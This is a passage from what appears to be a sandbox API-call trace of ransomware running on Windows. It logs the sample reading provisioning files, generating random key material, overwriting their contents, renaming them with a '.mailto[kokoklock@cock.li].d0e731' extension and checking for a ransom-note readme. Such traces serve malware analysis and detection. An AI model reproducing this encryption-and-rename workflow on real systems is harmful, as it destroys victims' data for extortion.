(Estonia)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0086.206] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\118__Connections_Cellular_Tele2 (Estonia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\118__connections_cellular_tele2 (estonia)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\118__Connections_Cellular_Tele2 (Estonia)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\118__connections_cellular_tele2 (estonia)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0086.207] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\118__Connections_Cellular_Tele2 (Estonia)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0086.208] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341a7f8) returned 1 [0086.208] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\118__Connections_Cellular_Tele2 (Estonia)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0086.208] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348a7e8 [0086.208] wcscpy (in: _Dest=0x348a7e8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0086.208] wcscat (in: _Dest=0x348a7e8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" [0086.208] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\d0e731-readme.txt")) returned 0x20 [0086.208] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348a7e8) returned 1 [0086.208] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34200a8) returned 1 [0086.208] RtlExitUserThread (Status=0x1) Thread: id = 1291 os_tid = 0x1138 [0085.382] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\119__Connections_Cellular_Tele2 (Estonia)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\119__connections_cellular_tele2 (estonia)_i1$(__mvid)@wap.provxml")) returned 0x20 [0086.154] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\119__Connections_Cellular_Tele2 (Estonia)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 1 [0086.174] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\119__Connections_Cellular_Tele2 (Estonia)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\119__connections_cellular_tele2 (estonia)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa30 [0086.174] GetFileSizeEx (in: hFile=0xa30, lpFileSize=0x2d23fed8 | out: lpFileSize=0x2d23fed8*=646) returned 1 [0086.174] SetFilePointerEx (in: hFile=0xa30, liDistanceToMove=0x282, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.174] ReadFile (in: hFile=0xa30, lpBuffer=0x2d23feac, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2d23fea8, lpOverlapped=0x0 | out: lpBuffer=0x2d23feac*, lpNumberOfBytesRead=0x2d23fea8*=0x4, lpOverlapped=0x0) returned 1 [0086.175] SetFilePointerEx (in: hFile=0xa30, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.175] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd8f8 [0086.175] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd560 [0086.175] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd650 [0086.175] NtQuerySystemTime (in: CurrentTime=0x2d23fe84 | out: CurrentTime=0x2d23fe84*=132121176440704193) returned 0x0 [0086.175] RtlRandom (in: Seed=0x2d23fe90 | out: Seed=0x2d23fe90) returned 0x29fe7811 [0086.175] RtlRandom (in: Seed=0x2d23fe90 | out: Seed=0x2d23fe90) returned 0x516367fa [0086.175] RtlRandom (in: Seed=0x2d23fe90 | out: Seed=0x2d23fe90) returned 0x5f1fbdc1 [0086.175] RtlRandom (in: Seed=0x2d23fe90 | out: Seed=0x2d23fe90) returned 0x30d74c53 [0086.176] RtlRandom (in: Seed=0x2d23fe90 | out: Seed=0x2d23fe90) returned 0x4b3b62ac [0086.176] RtlRandom (in: Seed=0x2d23fe90 | out: Seed=0x2d23fe90) returned 0x4652c06f [0086.176] RtlRandom (in: Seed=0x2d23fe90 | out: Seed=0x2d23fe90) returned 0x4b603033 [0086.176] RtlRandom (in: Seed=0x2d23fe90 | out: Seed=0x2d23fe90) returned 0xb0d0f17e [0086.176] RtlRandom (in: Seed=0x2d23fe90 | out: Seed=0x2d23fe90) returned 0xd43e08d5 [0086.176] RtlRandom (in: Seed=0x2d23fe90 | out: Seed=0x2d23fe90) returned 0x26594dcc [0086.176] RtlRandom (in: Seed=0x2d23fe90 | out: Seed=0x2d23fe90) returned 0xd0959cb7 [0086.176] RtlRandom (in: Seed=0x2d23fe90 | out: Seed=0x2d23fe90) returned 0x2dd3a32a [0086.176] RtlRandom (in: Seed=0x2d23fe90 | out: Seed=0x2d23fe90) returned 0x4fb950e2 [0086.176] RtlRandom (in: Seed=0x2d23fe90 | out: Seed=0x2d23fe90) returned 0xd514764 [0086.176] RtlRandom (in: Seed=0x2d23fe90 | out: Seed=0x2d23fe90) returned 0x1ef201d [0086.176] RtlRandom (in: Seed=0x2d23fe90 | out: Seed=0x2d23fe90) returned 0xa9d56057 [0086.176] RtlRandom (in: Seed=0x2d23fe90 | out: Seed=0x2d23fe90) returned 0xbadacbb3 [0086.176] RtlRandom (in: Seed=0x2d23fe90 | out: Seed=0x2d23fe90) returned 0x32e3e00f [0086.176] RtlRandom (in: Seed=0x2d23fe90 | out: Seed=0x2d23fe90) returned 0xfc34843 [0086.176] RtlRandom (in: Seed=0x2d23fe90 | out: Seed=0x2d23fe90) returned 0x504fb2e5 [0086.176] RtlRandom (in: Seed=0x2d23fe90 | out: Seed=0x2d23fe90) returned 0x5e4ea7c1 [0086.176] RtlRandom (in: Seed=0x2d23fe90 | out: Seed=0x2d23fe90) returned 0xe13e044 [0086.176] RtlRandom (in: Seed=0x2d23fe90 | out: Seed=0x2d23fe90) returned 0xb404d77e [0086.176] RtlRandom (in: Seed=0x2d23fe90 | out: Seed=0x2d23fe90) returned 0x7bc4e475 [0086.176] RtlRandom (in: Seed=0x2d23fe90 | out: Seed=0x2d23fe90) returned 0x2e5b5c8c [0086.176] RtlRandom (in: Seed=0x2d23fe90 | out: Seed=0x2d23fe90) returned 0xd5483ea1 [0086.176] RtlRandom (in: Seed=0x2d23fe90 | out: Seed=0x2d23fe90) returned 0x584dcae3 [0086.176] RtlRandom (in: Seed=0x2d23fe90 | out: Seed=0x2d23fe90) returned 0x54d1d3e4 [0086.176] RtlRandom (in: Seed=0x2d23fe90 | out: Seed=0x2d23fe90) returned 0xc26ed919 [0086.176] RtlRandom (in: Seed=0x2d23fe90 | out: Seed=0x2d23fe90) returned 0x8c6e7bc2 [0086.176] RtlRandom (in: Seed=0x2d23fe90 | out: Seed=0x2d23fe90) returned 0xa144b667 [0086.176] RtlRandom (in: Seed=0x2d23fe90 | out: Seed=0x2d23fe90) returned 0xf3064a2b [0086.186] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480228) returned 1 [0086.187] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd8f8) returned 1 [0086.187] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd3e8 [0086.187] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480408 [0086.187] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd8f8 [0086.187] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd8f8) returned 1 [0086.187] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b8390 [0086.187] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55de100 [0086.187] ReadFile (in: hFile=0xa30, lpBuffer=0x34b8390, nNumberOfBytesToRead=0x286, lpNumberOfBytesRead=0x2d23fe84, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesRead=0x2d23fe84*=0x286, lpOverlapped=0x0) returned 1 [0086.187] SetFilePointerEx (in: hFile=0xa30, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d23fe4c | out: lpNewFilePointer=0x0) returned 1 [0086.187] WriteFile (in: hFile=0xa30, lpBuffer=0x55de100*, nNumberOfBytesToWrite=0x286, lpNumberOfBytesWritten=0x2d23fe80, lpOverlapped=0x0 | out: lpBuffer=0x55de100*, lpNumberOfBytesWritten=0x2d23fe80*=0x286, lpOverlapped=0x0) returned 1 [0086.187] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd8f8 [0086.187] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddec0 [0086.187] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddec0) returned 1 [0086.187] WriteFile (in: hFile=0xa30, lpBuffer=0x55dd8f8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2d23fe7c, lpOverlapped=0x0 | out: lpBuffer=0x55dd8f8*, lpNumberOfBytesWritten=0x2d23fe7c*=0x20, lpOverlapped=0x0) returned 1 [0086.188] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd8f8) returned 1 [0086.188] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55de100) returned 1 [0086.188] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0086.188] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0086.188] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd3e8) returned 1 [0086.188] WriteFile (in: hFile=0xa30, lpBuffer=0x55ddd80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2d23fea8, lpOverlapped=0x0 | out: lpBuffer=0x55ddd80*, lpNumberOfBytesWritten=0x2d23fea8*=0x8, lpOverlapped=0x0) returned 1 [0086.188] WriteFile (in: hFile=0xa30, lpBuffer=0x2d23fec0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2d23fea8, lpOverlapped=0x0 | out: lpBuffer=0x2d23fec0*, lpNumberOfBytesWritten=0x2d23fea8*=0x4, lpOverlapped=0x0) returned 1 [0086.188] WriteFile (in: hFile=0xa30, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2d23fea8, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2d23fea8*=0x4, lpOverlapped=0x0) returned 1 [0086.188] WriteFile (in: hFile=0xa30, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2d23fea8, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2d23fea8*=0x6c, lpOverlapped=0x0) returned 1 [0086.188] WriteFile (in: hFile=0xa30, lpBuffer=0x55dd560*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2d23fea8, lpOverlapped=0x0 | out: lpBuffer=0x55dd560*, lpNumberOfBytesWritten=0x2d23fea8*=0x20, lpOverlapped=0x0) returned 1 [0086.188] WriteFile (in: hFile=0xa30, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2d23fea8, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2d23fea8*=0x4, lpOverlapped=0x0) returned 1 [0086.188] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd560) returned 1 [0086.188] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd678) returned 1 [0086.188] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddd80) returned 1 [0086.188] CloseHandle (hObject=0xa30) returned 1 [0086.189] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x182) returned 0x342c3f0 [0086.189] wcscpy (in: _Dest=0x342c3f0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\119__Connections_Cellular_Tele2 (Estonia)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\119__Connections_Cellular_Tele2 (Estonia)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\119__Connections_Cellular_Tele2 (Estonia)_i1$(__MVID)@WAP.provxml" [0086.189] wcscat (in: _Dest=0x342c3f0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\119__Connections_Cellular_Tele2 (Estonia)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\119__Connections_Cellular_Tele2 (Estonia)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0086.189] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\119__Connections_Cellular_Tele2 (Estonia)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\119__connections_cellular_tele2 (estonia)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\119__Connections_Cellular_Tele2 (Estonia)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\119__connections_cellular_tele2 (estonia)_i1$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0086.189] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\119__Connections_Cellular_Tele2 (Estonia)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0086.190] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c3f0) returned 1 [0086.190] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\119__Connections_Cellular_Tele2 (Estonia)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0086.190] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348a7e8 [0086.190] wcscpy (in: _Dest=0x348a7e8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0086.190] wcscat (in: _Dest=0x348a7e8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" [0086.190] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\d0e731-readme.txt")) returned 0x20 [0086.190] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348a7e8) returned 1 [0086.190] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34201f0) returned 1 [0086.190] RtlExitUserThread (Status=0x1) Thread: id = 1292 os_tid = 0x1140 [0085.382] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\11__Connections_Cellular_Optus (Australia)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\11__connections_cellular_optus (australia)_i2$(__mvid)@wap.provxml")) returned 0x20 [0086.137] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\11__Connections_Cellular_Optus (Australia)_i2$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 1 [0086.153] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\11__Connections_Cellular_Optus (Australia)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\11__connections_cellular_optus (australia)_i2$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa30 [0086.153] GetFileSizeEx (in: hFile=0xa30, lpFileSize=0x2d2bfcd0 | out: lpFileSize=0x2d2bfcd0*=724) returned 1 [0086.153] SetFilePointerEx (in: hFile=0xa30, liDistanceToMove=0x2d0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.153] ReadFile (in: hFile=0xa30, lpBuffer=0x2d2bfca4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2d2bfca0, lpOverlapped=0x0 | out: lpBuffer=0x2d2bfca4*, lpNumberOfBytesRead=0x2d2bfca0*=0x4, lpOverlapped=0x0) returned 1 [0086.155] SetFilePointerEx (in: hFile=0xa30, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.155] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd8f8 [0086.155] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd560 [0086.155] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd628 [0086.155] NtQuerySystemTime (in: CurrentTime=0x2d2bfc7c | out: CurrentTime=0x2d2bfc7c*=132121176440547709) returned 0x0 [0086.155] RtlRandom (in: Seed=0x2d2bfc88 | out: Seed=0x2d2bfc88) returned 0xf216ba7b [0086.155] RtlRandom (in: Seed=0x2d2bfc88 | out: Seed=0x2d2bfc88) returned 0x95d44de0 [0086.155] RtlRandom (in: Seed=0x2d2bfc88 | out: Seed=0x2d2bfc88) returned 0x5383c34e [0086.155] RtlRandom (in: Seed=0x2d2bfc88 | out: Seed=0x2d2bfc88) returned 0x373344ea [0086.155] RtlRandom (in: Seed=0x2d2bfc88 | out: Seed=0x2d2bfc88) returned 0x85769298 [0086.155] RtlRandom (in: Seed=0x2d2bfc88 | out: Seed=0x2d2bfc88) returned 0x41e4b107 [0086.155] RtlRandom (in: Seed=0x2d2bfc88 | out: Seed=0x2d2bfc88) returned 0xe31b7d28 [0086.155] RtlRandom (in: Seed=0x2d2bfc88 | out: Seed=0x2d2bfc88) returned 0xb459df7f [0086.155] RtlRandom (in: Seed=0x2d2bfc88 | out: Seed=0x2d2bfc88) returned 0x25fc72ce [0086.155] RtlRandom (in: Seed=0x2d2bfc88 | out: Seed=0x2d2bfc88) returned 0x92c40185 [0086.155] RtlRandom (in: Seed=0x2d2bfc88 | out: Seed=0x2d2bfc88) returned 0x4330c245 [0086.155] RtlRandom (in: Seed=0x2d2bfc88 | out: Seed=0x2d2bfc88) returned 0xb9e8efd9 [0086.155] RtlRandom (in: Seed=0x2d2bfc88 | out: Seed=0x2d2bfc88) returned 0x76d5613e [0086.155] RtlRandom (in: Seed=0x2d2bfc88 | out: Seed=0x2d2bfc88) returned 0xbf15fae [0086.155] RtlRandom (in: Seed=0x2d2bfc88 | out: Seed=0x2d2bfc88) returned 0x148274ff [0086.155] RtlRandom (in: Seed=0x2d2bfc88 | out: Seed=0x2d2bfc88) returned 0x1f52c24 [0086.156] RtlRandom (in: Seed=0x2d2bfc88 | out: Seed=0x2d2bfc88) returned 0x981eee7c [0086.156] RtlRandom (in: Seed=0x2d2bfc88 | out: Seed=0x2d2bfc88) returned 0x590dcaf8 [0086.156] RtlRandom (in: Seed=0x2d2bfc88 | out: Seed=0x2d2bfc88) returned 0x9a05abe [0086.156] RtlRandom (in: Seed=0x2d2bfc88 | out: Seed=0x2d2bfc88) returned 0x48d57dd5 [0086.156] RtlRandom (in: Seed=0x2d2bfc88 | out: Seed=0x2d2bfc88) returned 0xb5bb29b6 [0086.156] RtlRandom (in: Seed=0x2d2bfc88 | out: Seed=0x2d2bfc88) returned 0x7e09a15f [0086.156] RtlRandom (in: Seed=0x2d2bfc88 | out: Seed=0x2d2bfc88) returned 0x5e639d20 [0086.156] RtlRandom (in: Seed=0x2d2bfc88 | out: Seed=0x2d2bfc88) returned 0x10c0a3b9 [0086.156] RtlRandom (in: Seed=0x2d2bfc88 | out: Seed=0x2d2bfc88) returned 0xc755c714 [0086.156] RtlRandom (in: Seed=0x2d2bfc88 | out: Seed=0x2d2bfc88) returned 0x827be623 [0086.156] RtlRandom (in: Seed=0x2d2bfc88 | out: Seed=0x2d2bfc88) returned 0xce8e5cef [0086.156] RtlRandom (in: Seed=0x2d2bfc88 | out: Seed=0x2d2bfc88) returned 0xaa420322 [0086.156] RtlRandom (in: Seed=0x2d2bfc88 | out: Seed=0x2d2bfc88) returned 0x712747f5 [0086.156] RtlRandom (in: Seed=0x2d2bfc88 | out: Seed=0x2d2bfc88) returned 0x514cb44e [0086.156] RtlRandom (in: Seed=0x2d2bfc88 | out: Seed=0x2d2bfc88) returned 0xa27fb4ad [0086.156] RtlRandom (in: Seed=0x2d2bfc88 | out: Seed=0x2d2bfc88) returned 0xbb594e5b [0086.167] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480318) returned 1 [0086.168] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd8f8) returned 1 [0086.168] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd2c8 [0086.168] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x34804f8 [0086.168] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd8f8 [0086.168] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd8f8) returned 1 [0086.168] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b8390 [0086.168] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55de100 [0086.168] ReadFile (in: hFile=0xa30, lpBuffer=0x34b8390, nNumberOfBytesToRead=0x2d4, lpNumberOfBytesRead=0x2d2bfc7c, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesRead=0x2d2bfc7c*=0x2d4, lpOverlapped=0x0) returned 1 [0086.168] SetFilePointerEx (in: hFile=0xa30, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2bfc44 | out: lpNewFilePointer=0x0) returned 1 [0086.168] WriteFile (in: hFile=0xa30, lpBuffer=0x55de100*, nNumberOfBytesToWrite=0x2d4, lpNumberOfBytesWritten=0x2d2bfc78, lpOverlapped=0x0 | out: lpBuffer=0x55de100*, lpNumberOfBytesWritten=0x2d2bfc78*=0x2d4, lpOverlapped=0x0) returned 1 [0086.168] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd8f8 [0086.168] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddab0 [0086.168] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddab0) returned 1 [0086.168] WriteFile (in: hFile=0xa30, lpBuffer=0x55dd8f8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2d2bfc74, lpOverlapped=0x0 | out: lpBuffer=0x55dd8f8*, lpNumberOfBytesWritten=0x2d2bfc74*=0x20, lpOverlapped=0x0) returned 1 [0086.168] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd8f8) returned 1 [0086.168] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55de100) returned 1 [0086.168] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0086.168] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0086.168] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd2c8) returned 1 [0086.168] WriteFile (in: hFile=0xa30, lpBuffer=0x55dd678*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2d2bfca0, lpOverlapped=0x0 | out: lpBuffer=0x55dd678*, lpNumberOfBytesWritten=0x2d2bfca0*=0x8, lpOverlapped=0x0) returned 1 [0086.169] WriteFile (in: hFile=0xa30, lpBuffer=0x2d2bfcb8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2d2bfca0, lpOverlapped=0x0 | out: lpBuffer=0x2d2bfcb8*, lpNumberOfBytesWritten=0x2d2bfca0*=0x4, lpOverlapped=0x0) returned 1 [0086.169] WriteFile (in: hFile=0xa30, 